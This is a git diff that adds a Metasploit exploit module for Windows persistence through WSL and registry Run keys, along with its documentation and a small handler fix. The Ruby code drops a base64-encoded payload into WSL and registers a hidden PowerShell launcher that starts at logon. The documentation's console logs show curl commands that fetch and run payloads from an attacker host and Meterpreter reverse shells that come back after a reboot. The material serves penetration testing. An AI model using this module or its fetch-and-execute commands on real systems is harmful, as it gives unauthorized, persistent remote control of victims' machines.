diff --git a/documentation/modules/exploit/windows/persistence/wsl/registry.md b/documentation/modules/exploit/windows/persistence/wsl/registry.md new file mode 100644 index 0000000000000..8144614b5a3d9 --- /dev/null +++ b/documentation/modules/exploit/windows/persistence/wsl/registry.md @@ -0,0 +1,168 @@ +## Vulnerable Application + +This module will install a payload in WSL and execute it at user +logon or system startup via the registry value in "CurrentVersion\Run" +or "RunOnce" (depending on privilege and selected method). +The payload will be installed completely in registry. + +Staged payloads, like fetch payloads in linux X64 don't tend to work. The payload +will ask for the stage, then submit the HTTP fetch request +and when the payload is sent it doesn't execute. + +`cmd/linux/http/x64/meterpreter_reverse_tcp` and unix cmd payloads tend to work. + +## Verification Steps + +1. Start msfconsole +2. Get a shell on Windows +3. Do: `use exploit/windows/persistence/wsl/registry` +4. Do: `set session #` +5. Do: `run` +6. You should get a shell on user or system login. + +## Options + +### STARTUP + +Startup type for the persistent payload. Options are `USER` and `SYSTEM`, defaults to `USER`. + +### RUN_NAME + +The name to use for the `Run` key. Default: random + +### REG_KEY + +Registry Key To Install To. Options are `Run` and `RunOnce`. Defaults to `Run` + +### PAYLOAD_NAME + +The filename for the payload to be used on the target host (random by default). + +## Scenarios + +### Windows 10 1909 (10.0 Build 18363) User access + +Obtain original shell + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL +fetch_command => CURL +resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true +fetch_pipe => true +resource (/root/.msf4/msfconsole.rc)> set lport 4450 +lport => 4450 +resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3 +FETCH_URIPATH => w3 +resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB +FETCH_FILENAME => mkaKJBzbDB +resource (/root/.msf4/msfconsole.rc)> to_handler +[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe + +[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd +[*] Payload Handler Started as Job 0 +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /KAdxHNQrWO8cy5I90gLkHg +[*] Adding resource /w3 +[*] Started reverse TCP handler on 1.1.1.1:4450 +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > +[*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg +[*] Sending payload to 2.2.2.2 (curl/7.79.1) +[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:49747) at 2025-11-16 07:11:24 -0500 + +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : WIN10PROLICENSE +OS : Windows 10 1909 (10.0 Build 18363). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: WIN10PROLICENSE\windows +meterpreter > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/wsl/registry +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(windows/persistence/wsl/registry) > set session 1 +session => 1 +msf exploit(windows/persistence/wsl/registry) > set payload +Display all 403 possibilities? (y or n) +msf exploit(windows/persistence/wsl/registry) > set payload cmd/linux/http/x64/meterpreter_reverse_tcp +payload => cmd/linux/http/x64/meterpreter_reverse_tcp +msf exploit(windows/persistence/wsl/registry) > exploit +[*] Command to run on remote host: curl -so ./OOrIkKMB http://1.1.1.1:8080/rnjdQxeDeP7M_rcLHU37ew;chmod +x ./OOrIkKMB;./OOrIkKMB& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +msf exploit(windows/persistence/wsl/registry) > +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /rnjdQxeDeP7M_rcLHU37ew +[*] Started reverse TCP handler on 1.1.1.1:4444 +[!] SESSION may not be compatible with this module: +[!] * incompatible session platform: windows. This module works with: Unix, Linux. +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Powershell detected on system +[*] Checking registry write access to: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rdtGlT3MB3n0dVy +[+] The target is vulnerable. Registry writable and WSL installed +[*] Root path is HKCU +[*] Enumerating WSL Instances +WSL +=== + +# Instance_Name State Version Default +- ------------- ----- ------- ------- +1 Ubuntu Stopped 1 true + +[*] Writing payload to: /tmp/DOgQVT +[+] Payload wrote successfully +[*] Installing run key +[+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\91xgjErF +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251116.2715/WIN10PROLICENSE_20251116.2715.rc +``` + +Reboot the system + +``` +[*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died +[*] Client 2.2.2.2 requested /rnjdQxeDeP7M_rcLHU37ew +[*] Sending payload to 2.2.2.2 (curl/8.5.0) +[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:49712) at 2025-11-16 07:29:39 -0500 +[-] Meterpreter session 2 is not valid and will be closed +[*] 2.2.2.2 - Meterpreter session 2 closed. + +msf exploit(windows/persistence/wsl/registry) > sessions -i 3 +[*] Starting interaction with 3... + +meterpreter > getuid +Server username: windows +meterpreter > sysinfo +Computer : win10prolicensed.localdomain +OS : Ubuntu 24.04 (Linux 4.4.0-18362-Microsoft) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > background +[*] Backgrounding session 3... +msf exploit(windows/persistence/wsl/registry) > [*] 2.2.2.2 - Meterpreter session 3 closed. Reason: Died + +[*] Client 2.2.2.2 requested /rnjdQxeDeP7M_rcLHU37ew +[*] Sending payload to 2.2.2.2 (curl/8.5.0) +[*] Meterpreter session 4 opened (1.1.1.1:4444 -> 2.2.2.2:49726) at 2025-11-16 07:36:17 -0500 +``` diff --git a/lib/msf/core/handler/reverse_ssh.rb b/lib/msf/core/handler/reverse_ssh.rb index 2ac5404cbe325..cc03d3f5a4f4e 100644 --- a/lib/msf/core/handler/reverse_ssh.rb +++ b/lib/msf/core/handler/reverse_ssh.rb @@ -59,7 +59,7 @@ def listener_uri(addr = datastore['ReverseListenerBindAddress']) def setup_handler # The current SSH server implementation does not support OpenSSL 3 if OpenSSL::OPENSSL_LIBRARY_VERSION.start_with? 'OpenSSL 3' - raise RuntimeError, "ReverseSSH failed to load. OpenSSL version #{OpenSSL::VERSION} not supported." + raise "ReverseSSH failed to load. OpenSSL version #{OpenSSL::VERSION} not supported." end local_addr = nil @@ -141,6 +141,8 @@ def create_session(ssh, opts = {}) # Always wait at least 5 seconds for this payload (due to channel delays) # def wfs_delay + return 5 if datastore['WfsDelay'].nil? + datastore['WfsDelay'] > 4 ? datastore['WfsDelay'] : 5 end attr_accessor :service # :nodoc: diff --git a/modules/exploits/windows/persistence/wsl/registry.rb b/modules/exploits/windows/persistence/wsl/registry.rb new file mode 100644 index 0000000000000..130fb69ed91ab --- /dev/null +++ b/modules/exploits/windows/persistence/wsl/registry.rb @@ -0,0 +1,246 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::Windows::Powershell + include Msf::Post::Windows::Registry + include Msf::Post::File + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows WSL via Registry Persistence', + 'Description' => %q{ + This module will install a payload in WSL and execute it at user + logon or system startup via the registry value in "CurrentVersion\Run" + or "RunOnce" (depending on privilege and selected method). + The payload will be installed completely in registry. + + Staged payloads, like fetch payloads in linux X64 don't tend to work. The payload + will ask for the stage, then submit the HTTP fetch request + and when the payload is sent it doesn't execute. + + `cmd/linux/http/x64/meterpreter_reverse_tcp` and unix cmd payloads tend to work. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Joe Helle', # original writeup + 'h00die', + ], + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => [ARCH_CMD, ARCH_X64], + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'DefaultOptions' => { + 'Payload' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' + }, + 'Targets' => [ + [ 'Automatic', {} ] + ], + 'References' => [ + ['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER], + ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY], + ['URL', 'https://medium.themayor.tech/windows-persistence-using-wsl2-8f87e319ea56'], + ['URL', 'https://lolapps-project.github.io/lolapps/Desktop/wsl/'] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2022-01-29', + 'Notes' => { + 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptEnum.new('STARTUP', + [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]), + OptString.new('RUN_NAME', + [false, 'The name to use for the \'Run\' key. (Default: random)' ]), + OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]), + OptString.new('PAYLOAD_NAME', + [false, 'The filename for the payload to be used on the target host (random by default).']), + ]) + + # overload this to prevent it from trying to do windows things since we're writing to the underlying linux + register_advanced_options( + [ + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']), + ] + ) + end + + def generate_cmd_reg + datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8) + end + + def regkey + datastore['REG_KEY'] + end + + def install_cmd(cmd, cmd_reg, root_path) + unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ') + fail_with(Failure::Unknown, 'Could not install run key') + end + print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}") + end + + def get_root_path + return 'HKCU' if datastore['STARTUP'] == 'USER' + + 'HKLM' + end + + def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) + @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" + if new_key + @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" + end + @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n" + end + + def check + # /tmp seems to persist on *some* Ubuntu WSL (wsl v1 it did, v2 it didnt) + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') + return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell') + + vprint_good('Powershell detected on system') + + # test write to see if we have access + root_path = get_root_path + rand = Rex::Text.rand_text_alphanumeric(15) + + vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}") + return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil? + + registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}") + + return Msf::Exploit::CheckCode::Safe('WSL Not installed') unless wsl_enabled? + + Msf::Exploit::CheckCode::Vulnerable('Registry writable and WSL installed') + end + + def install_persistence + root_path = get_root_path + print_status("Root path is #{root_path}") + table = Rex::Text::Table.new( + 'Header' => 'WSL', + 'Columns' => %w[# Instance_Name State Version Default], + 'Rows' => instance_list.map.with_index do |instance, i| + [i + 1, instance[:name], instance[:state], instance[:version], instance[:default]] + end + ) + + print_line table.to_s + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) + + # write our payload into a file + vprint_status("Writing payload to: #{datastore['WritableDir']}/#{payload_name}. WSL may take a little while to start up...") + + b64_payload = Rex::Text.encode_base64(payload.encoded) + + bash_command = "bash -lc 'echo #{b64_payload} | base64 -d > #{datastore['WritableDir']}/#{payload_name}'" + ps_command = "powershell.exe -WindowStyle Hidden -Command \"wsl #{bash_command}\"" + + # sometimes wsl is busy doing wsl things and can take a minute to come up for this first command. + resp = cmd_exec(ps_command, nil, 120) + fail_with(Failure::UnexpectedReply, "Writing payload output: #{resp}") unless resp.strip.empty? + print_good('Payload wrote successfully') + + resp = cmd_exec("powershell.exe -WindowStyle Hidden -Command \"wsl chmod +x #{datastore['WritableDir']}/#{payload_name}\"") + fail_with(Failure::UnexpectedReply, "Setting payload permissions output: #{resp}") unless resp.strip.empty? + + cmd = "powershell.exe -WindowStyle Hidden -Command \"wsl bash -lc 'cd #{datastore['WritableDir']}; nohup #{datastore['WritableDir']}/#{payload_name} > /dev/null 2>&1'\"" + cmd_reg = generate_cmd_reg + + print_status('Installing run key') + install_cmd(cmd, cmd_reg, root_path) + + @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n" + @clean_up_rc << "execute -f cmd.exe -a \" /c wsl rm '#{datastore['WritableDir']}/#{payload_name}'\"\n" + end + + def wsl_enabled? + # Powershell output will look like the following: + # + # FeatureName : Microsoft-Windows-Subsystem-Linux + # DisplayName : Windows Subsystem for Linux + # Description : Provides services and environments for running native user-mode Linux shells and tools on Windows. + # RestartRequired : Possible + # State : Enabled + # CustomProperties : + # ServerComponent\Description : Provides services and environments for running native user-mode Linux + # shells and tools on Windows. + # ServerComponent\DisplayName : Windows Subsystem for Linux + # ServerComponent\Id : 1033 + # ServerComponent\Type : Feature + # ServerComponent\UniqueName : Microsoft-Windows-Subsystem-Linux + # ServerComponent\Deploys\Update\Name : Microsoft-Windows-Subsystem-Linux + return false unless have_powershell? + + cmd = 'powershell.exe -WindowStyle Hidden -Command "Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux"' + result = cmd_exec(cmd) + + return false if result.blank? + + # Extract the state line, e.g. "State : Enabled" + if result =~ /^State\s*:\s*(\w+)/i + return Regexp.last_match(1).casecmp('Enabled').zero? + end + + false + end + + def clean_windows_utf16(str) + # Detect presence of null bytes (\u0000) + if str.include?("\u0000") + # Convert from UTF-16LE to UTF-8 + str.encode('UTF-8', 'UTF-16LE') + else + # Return unchanged if it’s already clean + str + end + end + + def instance_list + vprint_status('Enumerating WSL Instances') + cmd = 'powershell.exe -WindowStyle Hidden -Command "wsl --list --verbose"' + # 3hrs later of debugging, i found this returns " \u0000 \u0000N\u0000A\u0000M\u0000E\u0000 \u0000 \u0000"... so clean it up + result = clean_windows_utf16(cmd_exec(cmd)) + + return [] if result.nil? + return [] unless result =~ /NAME\s+STATE\s+VERSION/i + + lines = result.lines.map(&:strip).reject(&:empty?) + + header_index = lines.find_index { |l| l =~ /NAME\s+STATE\s+VERSION/i } + return [] if header_index.nil? + + data_lines = lines[(header_index + 1)..] + images = [] + data_lines.map do |line| + # Handle the default distro marked with '*' + default = line.start_with?('*') + line = line.sub(/^\*\s*/, '') # remove leading "* " + + # Split by whitespace but preserve multi-word names + # Example line: "Ubuntu-22.04 Running 2" + name, state, version = line.split(/\s{2,}/) + + images.append({ + name: name, + state: state, + version: version, + default: default + }) + end + images + end +end